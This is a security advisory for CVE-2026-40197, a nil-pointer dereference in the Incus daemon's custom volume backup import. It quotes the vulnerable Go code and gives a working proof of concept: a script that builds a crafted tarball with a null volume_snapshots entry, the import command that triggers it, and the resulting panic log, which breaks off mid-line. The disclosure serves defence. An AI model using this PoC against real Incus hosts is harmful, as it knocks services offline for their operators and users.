CVE-2026-40197: Incusd · Incus has a Nil-Pointer Dereference via Custom Volume Import

### Summary Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service. ### Details The custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations. In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized. Because the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node. Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go Affected Code: ``` func (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error { [...] // Create database entries for new storage volume snapshots. for _, s := range srcBackup.Config.VolumeSnapshots { snapshot := s // Local var for revert. snapName := snapshot.Name // Due to a historical bug, the volume snapshot names were sometimes written in their full form // (<parent>/<snap>) rather than the expected snapshot name only form, so we need to handle both. if internalInstance.IsSnapshot(snapshot.Name) { _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name) } fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName) snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName) snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config) // Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true) if err != nil { return err } reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) }) } [...] } ``` ### PoC The following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import. Step 1: Generate the malformed archive From a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry. Commands: ``` cat <<EOF > poc_nil_snapshot.sh #!/bin/bash set -e echo "[*] Building null snapshot dereference payload..." mkdir -p backup/volume mkdir -p backup/snapshots/snap0 cat <<EOT > backup/index.yaml name: panic-nil-snap backend: dir pool: default type: custom snapshots: - snap0 config: volume: name: panic-nil-snap type: custom content_type: filesystem config: {} volume_snapshots: - null EOT tar -czf exploit_null_snapshot.tar.gz backup/ rm -rf backup/ echo "[+] PoC Tarball Created: exploit_null_snapshot.tar.gz" EOF bash poc_nil_snapshot.sh ``` Result: ``` [+] PoC Tarball Created: exploit_null_snapshot.tar.gz ``` Step 2: Trigger the vulnerable custom volume import path From an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool. Command: ``` incus storage volume import default exploit_null_snapshot.tar.gz ``` Result: ``` Error: Operation not found ``` Step 3: Verify the daemon panic On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup. Command: ``` journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic:" ``` Result: ``` panic: runtime error: invalid memory address or nil pointer dereference github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...) Mar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference Mar 23 17:27:55 incus-7a incusd[238672]: [signal

• github.com/lxc/incus/security/advisories/GHSA-r7w7-mmxr-47r9 (opens in a new tab)
• nvd.nist.gov/vuln/detail/CVE-2026-40197 (opens in a new tab)
• github.com/lxc/incus (opens in a new tab)

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